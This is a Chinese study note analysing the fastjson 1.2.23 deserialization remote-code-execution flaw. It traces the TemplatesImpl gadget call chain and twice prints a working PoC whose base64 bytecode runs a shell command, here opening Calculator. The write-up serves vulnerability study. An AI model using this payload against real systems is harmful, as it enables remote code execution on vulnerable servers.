fastjson 反序列化漏洞笔记，比较乱

现在思路还是有点乱，希望后面能重新写

先上pon.xml 包

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>fastjson</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>7.0.0</version>
        </dependency>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.23</version></dependency>
    </dependencies>

</project>

　　

方法解析如下：

com.alibaba.fastjson.JSON#parse(java.lang.String, com.alibaba.fastjson.parser.Feature...)      parse(text, featureValues):193
	com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)     parseObject(object, fieldName):1327
		com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object).  deserializer.deserialze(this, clazz, fieldName):368
			com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)      for (int fieldIndex = 0;; fieldIndex++):348.
				在此遍历fieldIndex，对key进行解码，当key=_outputProperties 时，调用链往下执行触发漏洞。
			com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)       parseField(parser, key, object, type, fieldValues):568
				com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField:759  生成key2，将key的下划线过滤掉。
				com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField:772     fieldDeserializer = getFieldDeserializer(key2)  获取key2的getField
				com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField:83   setValue(object, value)
					com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)      Map map = (Map) method.invoke(object)   使用代理调用方法为 public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
						com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties:507.    return newTransformer().getOutputProperties() 调用方法newTransformer()
							com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer:486.  transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory)        调用getTransletInstance()方法
								com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance:451. if (_class == null) defineTransletClasses()    调用defineTransletClasses()方法
									com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses:413-424. for (int i = 0; i < classCount; i++) {...}
									_class[i] = loader.defineClass(_bytecodes[i])   取出_bytecodes属性中的class赋值给_class
								com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance:455. AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()   实例化class类

　　

test.java:代码

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class test {

    public static void main(String[] args) {
        String poc3 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","
            +
            "\"_bytecodes\":[\"yv66vgAAADQANwgAJAoACgAlCgAmACcHACgIACkIACoKAAkAKwoAJgAsBwAtBwAuAQADY21kAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAK0x5c29zZXJpYWwvcGF5bG9hZHMvRmFzdEpzb24vRmFzdEpzb25YYWxhbjsBAAY8aW5pdD4BAAMoKVYBAApFeGNlcHRpb25zBwAvAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAwAQAKU291cmNlRmlsZQEAEkZhc3RKc29uWGFsYW4uamF2YQEAIW9wZW4gL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAEgATBwAxDAAyADMBABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jDAALAAwMADQANQEAKXlzb3NlcmlhbC9wYXlsb2Fkcy9GYXN0SnNvbi9GYXN0SnNvblhhbGFuAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADVN0YWNrTWFwVGFibGUAIQAJAAoAAAAAAAQAAQALAAwAAQANAAAAOQABAAEAAAAGEgGwpwAAAAAAAwAOAAAABgABAAMAFAAPAAAADAABAAAABgAQABEAAAA2AAAAAwABAwABABIAEwACAA0AAABTAAUAAQAAACEqtwACuAADBr0ABFkDEgVTWQQSBlNZBSq2AAdTtgAIV7EAAAACAA4AAAAOAAMAAAAXAAQAGAAgABkADwAAAAwAAQAAACEAEAARAAAAFAAAAAQAAQAVAAEAFgAXAAEADQAAAEkAAAAEAAAAAbEAAAACAA4AAAAGAAEAAAAdAA8AAAAqAAQAAAABABAAEQAAAAAAAQAYABkAAQAAAAEAGgAbAAIAAAABABwAHQADAAEAFgAeAAIADQAAAD8AAAADAAAAAbEAAAACAA4AAAAGAAEAAAAiAA8AAAAgAAMAAAABABAAEQAAAAAAAQAYABkAAQAAAAEAHwAgAAIAFAAAAAQAAQAhAAEAIgAAAAIAIw==\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{ },\"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
        Object u3 = JSON.parse(poc3, Feature.SupportNonPublicField);

    }
}

　　

解析Json的时候要开启Feature.SupportNonPublicField才能反序列化成功，因为_bytecodes是私有属性，也有其他方式不需要开启Feature.SupportNonPublicField。

整理一下poc

{
	"@type":
		"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes":
		["yv66vgAAADQANwgAJAoACgAlCgAmACcHACgIACkIACoKAAkAKwoAJgAsBwAtBwAuAQADY21kAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAK0x5c29zZXJpYWwvcGF5bG9hZHMvRmFzdEpzb24vRmFzdEpzb25YYWxhbjsBAAY8aW5pdD4BAAMoKVYBAApFeGNlcHRpb25zBwAvAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAwAQAKU291cmNlRmlsZQEAEkZhc3RKc29uWGFsYW4uamF2YQEAIW9wZW4gL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAEgATBwAxDAAyADMBABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jpbi9zaAEAAi1jDAALAAwMADQANQEAKXlzb3NlcmlhbC9wYXlsb2Fkcy9GYXN0SnNvbi9GYXN0SnNvblhhbGFuAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADVN0YWNrTWFwVGFibGUAIQAJAAoAAAAAAAQAAQALAAwAAQANAAAAOQABAAEAAAAGEgGwpwAAAAAAAwAOAAAABgABAAMAFAAPAAAADAABAAAABgAQABEAAAA2AAAAAwABAwABABIAEwACAA0AAABTAAUAAQAAACEqtwACuAADBr0ABFkDEgVTWQQSBlNZBSq2AAdTtgAIV7EAAAACAA4AAAAOAAMAAAAXAAQAGAAgABkADwAAAAwAAQAAACEAEAARAAAAFAAAAAQAAQAVAAEAFgAXAAEADQAAAEkAAAAEAAAAAbEAAAACAA4AAAAGAAEAAAAdAA8AAAAqAAQAAAABABAAEQAAAAAAAQAYABkAAQAAAAEAGgAbAAIAAAABABwAHQADAAEAFgAeAAIADQAAAD8AAAADAAAAAbEAAAACAA4AAAAGAAEAAAAiAA8AAAAgAAMAAAABABAAEQAAAAAAAQAYABkAAQAAAAEAHwAgAAIAFAAAAAQAAQAhAAEAIgAAAAIAIw=="],
	"_name":
		"a.b",
	"_tfactory":
		{ },
	"_outputProperties":   //触发点
		{ },
	"_version":
		"1.0",
	"allowedProtocols":
		"all"
}

　　

从test.java 开始跟进去:

来到：com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)  跟进parseObject()方法 行数:1326-1327

parseObject()会扫描JSON，取json中的key，如果第一个key为@type,会进入下面的if流程，取@type的value值做反序列化，也就是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

跟进parseObject()方法，进入到deserializer.deserialze() 进行反序列化

在deserialze() 方法里面有个for循环，这个for循环会遍历json的key值和value值，for (int fieldIndex = 0;; fieldIndex++) {...}  行数:348-593

当循环来到_outputProperties这个值时，会进入到parseField()方法中。

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField

进入到parseField()中，向下执行遇到smartMatch()方法，这个方法会把key的下划线去掉赋值给key2

接着又进入了fieldDeserializer.parseField() 方法。fieldDeserializer这个对象是 class DefaultFieldDeserializer()

进入到com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField

从com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField中

其中object带着之前解析出来的属性，进入到setValue()中,调用method.invoke(object);

而这里的method方法时public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

这里执行newTransformer()方法

从newTransformer()方法中执行getTransletInstance()方法

在getTransletInstance()方法中执行了defineTransletClasses()方法

在defineTransletClasses()中遍历_bytecodes数组，将数组的值赋值给_class数组，然后返回getTransletInstance()方法，

调用AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); 执行_bytecodes数组里面的类，而类定义的是静态方法，直接执行，导致命令执行。

这里说一下_bytecodes里面的值是base64加密的，当fastjson遍历value值的时候会判断属性的值如果是byte[]数组，会自动进行base64解码。

参考：

https://paper.seebug.org/292/

https://kingx.me/Details-in-FastJson-RCE.html

https://github.com/genxor